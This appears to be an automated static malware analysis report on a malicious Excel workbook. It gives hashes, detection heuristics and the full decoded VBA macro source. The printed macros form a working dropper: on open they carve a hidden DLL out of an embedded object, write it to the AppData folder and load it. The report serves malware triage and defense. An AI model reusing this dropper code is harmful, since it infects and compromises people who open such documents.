Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5267210ae28394fd…

MALICIOUS

Office (OLE)

279.0 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: 50b64ba34366fad2adb945ed87c4911d SHA-1: 370be8397eb051e0a7b53000479b3fd6d72eb031 SHA-256: 5267210ae28394fdb5718e7304bb5840057d7d09b80a901964953078f46cd776
396 Risk Score

Heuristics 11

  • Excel invalid object access exploit — CVE-2009-0238 critical CVE likely CVE_2009_0238
    Excel workbook contains repeated malformed OBJ records whose ftMacro subrecord points to 0xFFFF, paired with shellcode-style payload context. This matches the invalid-object access exploit shape used by CVE-2009-0238 rather than a generic BIFF anomaly.
  • ClamAV: Xls.Malware.Sdrop-7173293-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sdrop-7173293-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set oApp = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ChDir (Environ("TEMP"))
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4558 bytes
SHA-256: 8dc4fb3950f850e1bab668dd7e5ef3bf54f1f1cfde46a1a999ca369cac797741
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wbO"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
End Sub


Attribute VB_Name = "Page1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function Whisk Lib _
        "masterbox2.dll" () As Integer
    Public Declare PtrSafe Function Whisk2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
   Public Declare Function Whisk2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
     Public Declare Function Whisk Lib _
        "masterbox1.dll" () As Integer
#End If
        




Public Sub CreateGifFile()
    TempName = Environ("TEMP") & "\factory.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = Environ("APPDATA") + "\masterbox2.dll"
    size = 66048
    num = 2
#Else
    
    nm = Environ("APPDATA") + "\masterbox1.dll"
    size = 77824
    num = 1
#End If
        
        On Error Resume Next
        Kill ZipName
        Kill ZipFolder & "\oleObject*.bin"
      
        Kill nm
        On Error GoTo 0
    
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        ActiveWorkbook.SaveAs TempName, FileFormat:=51
        ActiveWorkbook.Close
    
        
    
        FileCopy TempName, ZipName
        
        Set oApp = CreateObject("Shell.Application")
        oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
        Resoration ZipFolder + "\oleObject1.bin", nm, size, num
        
        ChDir (Environ("APPDATA"))
        No_Whisk = Whisk2(nm)
        Whisk

End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D6D679AA-CF1C-4CC6-AE50-CBD8D969D1A2}{FEB901ED-3744-455E-A1C3-72369FECF5DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub

Private Sub UserForm_Activate()

CreateGifFile
End Sub

Private Sub UserForm_Error(ByVal Number As Integer, ByVal Description As MSForms.ReturnString, ByVal SCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, ByVal CancelDisplay As MSForms.ReturnBoolean)

End Sub

Attribute VB_Name = "Module2"
Public Sub Resoration(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim DataArray() As Long

    ReDim DataArray(1 To fl)
    DataArray(1) = CByte(50 + 27)
    DataArray(2) = CByte(50 + 40)
    DataArray(3) = CByte(50 + 94)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = DataArray(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = DataArray(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = DataArray(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            DataArray(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(DataArray) To UBound(DataArray)
        Put #intFileNum, , CByte(DataArray(i))
    Next i

    Close #intFileNum
End Sub
embedded_office_00003219.exe embedded-pe Office MZ+PE at offset 0x3219 272871 bytes
SHA-256: c58af6770d36f6f3e2139e5f25d5849d4b8fe5bc39a970bd0551a44bf50aaf2b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD005CE4AB/Ole10Native 152905 bytes
SHA-256: 8946b8489b8093e48840021df69fa7c931eab4ccfbf42239e4e40b8f7793fc0d
ole10native_00_E12BD00A.png ole-package-payload OLE Ole10Native payload: MBD005CE4AB/Ole10Native; display_name=E12BD00A.png; full_path=C:\Users\1\AppData\Local\Temp\E12BD00A.png; temp_path=; def_file= 152434 bytes
SHA-256: 4448d3644e792795055303401864bdb9be2df8d6d98e31e988301c1f72402207